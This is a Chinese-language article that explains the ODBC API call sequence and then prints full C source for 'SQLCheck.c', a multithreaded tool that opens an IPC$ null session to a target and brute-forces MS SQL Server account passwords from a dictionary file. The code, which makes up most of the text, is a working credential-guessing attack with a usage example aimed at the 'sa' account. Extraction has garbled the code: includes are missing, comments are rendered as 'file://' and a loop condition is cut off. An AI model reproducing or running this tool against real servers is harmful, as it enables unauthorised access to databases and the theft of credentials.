ODBC是开放数据互连(Open Database Connectivity)的简称,它是一个用于远程访问数据库(主要是关系型数据库)的统一界面标准。 ODBC下现实运用中是一个数据库的访问库,它提供了一组ODBC API函数可以提供给编程者使用。对于程序员来说,ODBC API函数集实际上等于一个动态连接库(DLL)集,可以在应用程序中直接使用它们。一个应用程序直接调用ODBC API函数来进行数据库的应用工作,工作过程一般比较复杂。其中一种办法大概是以下几步:<1>启动ODBC数据库应用程序。<2>与服务器建立IPC SESSION。<3>创建数据库应用的环境句柄。<4>创建连接句柄。<5>连接数据源。<6>创建语句句柄。<7>通过上一步创建的语句句柄来执行SQL操作。<8>释放语句句柄。<9>要进行多此SQL操作的话,就循环步骤6-8。<10>断开与数据库的连接。<11>释放连接句柄。<12>释放环境句柄。<13>断开IPC SESSION。<14>程序结束。下面以一个实例来说明远程检测MS SQL Server账号密码的全过程。
/**********************************************************Module Name:SQLCheck.cDate:2000.12.14WEB:www.patching.netNotices:Copyright(c) eyas **********************************************************/ #include #include #include #include #include #include #include #include file://定义全局变量 char dict[20000][40],//密码字典 UserName[40],//用户名 target[40],//目标服务器 passwd[40];//已经探测出来的正确密码 int total=0;//字典里面单词数量 BOOL Cracked=FALSE;//探测密码成功时此值为TRUE HANDLE hSemaphore,//信标内核对象 hEvent;//事件内核对象 long MaxThreads,//最大线程数量 ActiveThreads;//活动线程数量 void usage(char *pragname) { printf("/nPower by eyas " "/nhttp://www.patching.net" "/n2000/12/14" "/n/nUsage:%s " "/nExample:%s 192.168.0.1 sa c://pwd.dic 50/n",pragname,pragname); return; } int ReadDic(char *dic) { FILE *fp; char tmp[40]; file://打开字典文件 if((fp=fopen(dic,"r"))==NULL) { printf("/nCan't open %s",dic); return 1; } while(!feof(fp)) { file://读取数据到临时变量 if(fgets(tmp,40,fp)==NULL) break; file://把从文件里面读出来的最后一位数据[换行符号]去掉 strncpy(dict[total],tmp,strlen(tmp)-1); total++; if(total>=19999) break; } fclose(fp); return 0; } int ConnIPC(char *RemoteName) { NETRESOURCE nr; DWORD flags=CONNECT_UPDATE_PROFILE; TCHAR RN[30]="", LN[5]=""; strcat(RN,RemoteName); strcat(RN,"//ipc$"); nr.dwType=RESOURCETYPE_DISK; nr.lpLocalName=(LPTSTR)&LN; nr.lpRemoteName=(LPTSTR)&RN; nr.lpProvider=NULL; if(WNetAddConnection2(&nr,(LPSTR)"",(LPSTR)"",flags)==NO_ERROR) { return 0; } else { return 1; } } int DelIPC(char *RemoteName){DWORD ret;TCHAR lpName[30]="";strcat(lpName,RemoteName);strcat(lpName,"//ipc$");ret=WNetCancelConnection2(lpName,CONNECT_UPDATE_PROFILE,TRUE);if(ret==NO_ERROR){return 0;}else{return 1;}}DWORD WINAPI SQLCheck(PVOID pPwd){file://定义局部变量char szBuffer[1025];char *pwd;SWORD swStrLen; SQLHDBC hdbc;SQLHANDLE henv;SQLRETURN retcode;//ODBC API运行返回值SCHAR ConnStr[200];//连接数据库字符串long PreviousCount;file://取得传递过来准备探测的密码pwd=(char *)pPwd;file://构造连接数据库字符sprintf(ConnStr,"DRIVER={SQL Server};SERVER=%s;UID=%s;PWD=%s;DATABASE=master",target,UserName,pwd);file://puts(ConnStr);__try{file://创建数据库应用的环境句柄if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=SQL_SUCCESS){printf("/nAllocate environment handle failed./n");ExitProcess(1);}file://设置ODBC版本环境if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS){printf("/nSet the ODBC version environment attribute failed./n");SQLFreeHandle(SQL_HANDLE_ENV, henv);ExitProcess(1);}file://创建连接句柄if ((retcode= SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR*)&hdbc)) != SQL_SUCCESS){printf("/nAllocate connection handle failed./n");SQLFreeHandle(SQL_HANDLE_ENV, henv);ExitProcess(1); }file://连接数据源retcode= SQLDriverConnect(hdbc,NULL,ConnStr,strlen(ConnStr),szBuffer,sizeof(szBuffer),&swStrLen,SQL_DRIVER_COMPLETE_REQUIRED); if(retcode!=SQL_SUCCESS && retcode != SQL_SUCCESS_WITH_INFO){file://连接失败,函数终止file://printf("/nCouldn't connect to %s MSSQL server./n",target);}else{file://连接远程MSSQL Server数据库成功Cracked=TRUE;strncpy(passwd,pwd,sizeof(passwd));file://断开连接SQLDisconnect(hdbc);}}//end of tyr__finally{file://释放连接句柄SQLFreeHandle(SQL_HANDLE_DBC, hdbc);file://释放环境句柄SQLFreeHandle(SQL_HANDLE_ENV, henv);file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值ReleaseSemaphore(hSemaphore,1,&PreviousCount);file://计算当前活动线程数量ActiveThreads=MaxThreads-PreviousCount-1;file://printf("/nActiveThreads-->%d.",ActiveThreads);file://如果活动线程数量为0,那么将事件内核对象hEvent改为已通知状态,程序结束if(ActiveThreads==0){SetEvent(hEvent);}}//end of finallyreturn 0;}int main(int argc,char **argv){HANDLE hThread;//线程句柄DWORD dwThreadId,dwRet;int i=0,err=0;clock_t start,end;//程序运行的起始和结束时间double duration;if(argc!=5){usage(argv[0]);return 1;}file://取得目标地址,用户名strncpy(target,argv[1],sizeof(target));strncpy(UserName,argv[2],sizeof(UserName));file://取得并检查用户输入的最大线程数量MaxThreads=atol(argv[4]);if((MaxThreads>100) || (MaxThreads<1)) {usage(argv[0]);return 1;}file://读取字典中的单词到内存中if(ReadDic(argv[3])!=0)return 1;file://与目标机器建立IPC Sessionif(ConnIPC(argv[1])!=0){printf("/nCan't built IPC NULL Session!"); return 1;}else{printf("/nBuilt IPC NULL Session success!/n");}file://创建信标内核对象,最大资源数量和可以使用的资源数量均为MaxThreadshSemaphore=CreateSemaphore(NULL,MaxThreads,MaxThreads,NULL);if(hSemaphore==NULL){printf("/nCreateSemaphore() failed.ErrorCode:%d.",GetLastError());return 1;}file://创建事件内核对象[人工重置,初始状态为未通知]hEvent=CreateEvent(NULL,TRUE,FALSE,NULL);if(hEvent==NULL){printf("/nCreateEvent() failed.ErrorCode:%d.",GetLastError());CloseHandle(hSemaphore);return 1;}file://开始计时start=clock();file://开始建立线程探测密码for(i=0;i { file://探测密码成功后跳出此循环 if(Cracked==TRUE) break; file://显示进度信息 printf("/n[%d/%d] %s -> %s -> %s",i+1,total,target,UserName,dict[i]); file://创建线程 hThread=CreateThread(NULL,0,SQLCheck,(PVOID)&dict[i],0,&dwThreadId); file://处理创建线程错误的情况 if(hThread==NULL) {err++;MessageBox(NULL,"thread error","error",MB_OK);if(err>=50)break;}CloseHandle(hThread);Sleep(10);file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入等待状态WaitForSingleObject(hSemaphore,INFINITE);}file://等待事件内核对象通知,最多等待3分钟dwRet=WaitForSingleObject(hEvent,180000);switch(dwRet){case WAIT_OBJECT_0:printf("/nAll thread done.");break;case WAIT_TIMEOUT:printf("/nWait time out.Exit.");break;case WAIT_FAILED:printf("/nWaitForSingleObject() failed.");break;}file://断开与目标机器的IPC SessionDelIPC(target);file://探测密码成功后回显信息if(Cracked==TRUE)printf("/n/nSuccess!%s SQL Server User [%s] passwd is [%s].",target,UserName,passwd);file://记时结束end=clock();file://转换时间格式duration = (double)(end - start) / CLOCKS_PER_SEC;file://显示所用时间printf("/n/nComplete.Use %2.1f seconds./n",duration); return 0;}程序在windows2000,vc++6.0环境下编译通过。